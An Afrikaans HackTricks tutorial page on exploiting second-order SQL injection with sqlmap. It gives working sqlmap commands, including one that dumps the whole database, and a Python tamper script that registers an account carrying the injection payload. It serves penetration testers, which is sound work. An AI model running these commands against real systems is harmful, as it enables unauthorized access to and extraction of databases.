Second Order Injection - SQLMap

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

SQLMap kan Tweede Orde SQLis benut. Jy moet verskaf:

Die versoek waar die sqlinjection payload gestoor gaan word
Die versoek waar die payload sal wees uitgevoer

Die versoek waar die SQL-inspuiting payload gestoor word, is aangedui soos in enige ander inspuiting in sqlmap. Die versoek waar sqlmap die uitvoer/uitvoering van die inspuiting kan lees, kan aangedui word met --second-url of met --second-req as jy 'n volledige versoek uit 'n lêer moet aandui.

Eenvoudige tweede orde voorbeeld:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

In verskeie gevalle sal dit nie genoeg wees omdat jy ander aksies moet uitvoer behalwe om die payload te stuur en toegang tot 'n ander bladsy te verkry.

Wanneer dit nodig is, kan jy 'n sqlmap tamper gebruik. Byvoorbeeld, die volgende skrip sal 'n nuwe gebruiker registreer met sqlmap payload as e-pos en afmeld.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

A SQLMap tamper word altyd uitgevoer voordat 'n inspuitingspoging met 'n payload begin en dit moet 'n payload teruggee. In hierdie geval is ons nie bekommerd oor die payload nie, maar ons is bekommerd oor die stuur van 'n paar versoeke, so die payload word nie verander nie.

So, as ons om een of ander rede 'n meer komplekse vloei nodig het om die tweede orde SQL-inspuiting te benut soos:

Skep 'n rekening met die SQLi payload binne die "email" veld
Teken uit
Teken in met daardie rekening (login.txt)
Stuur 'n versoek om die SQL-inspuiting uit te voer (second.txt)

Hierdie sqlmap lyn sal help:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

PreviousSQLMap - CheatSheet NextSSRF (Server Side Request Forgery)

Last updated 4 months ago

#Get the SQL payload execution with a GET to a url sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php" #Get the SQL payload execution sending a custom request from a file sqlmap -r login.txt -p username --second-req details.txt

#!/usr/bin/env python import re import requests from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def login_account(payload): proxies = {'http':'http://127.0.0.1:8080'} cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"} params = {"username":"asdasdasd", "email":payload, "password":"11111111"} url = "http://10.10.10.10/create.php" pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies) url = "http://10.10.10.10/exit.php" pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies) def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) login_account(payload) return payload

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a ########## # --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload # -r login.txt : Indicates the request to send the SQLi payload # -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt # --second-req second.txt : Request to send to execute the SQLi and get the ouput # --proxy http://127.0.0.1:8080 : Use this proxy # --technique=U : Help sqlmap indicating the technique to use # --dbms mysql : Help sqlmap indicating the dbms # --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix # --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln # -a : Dump all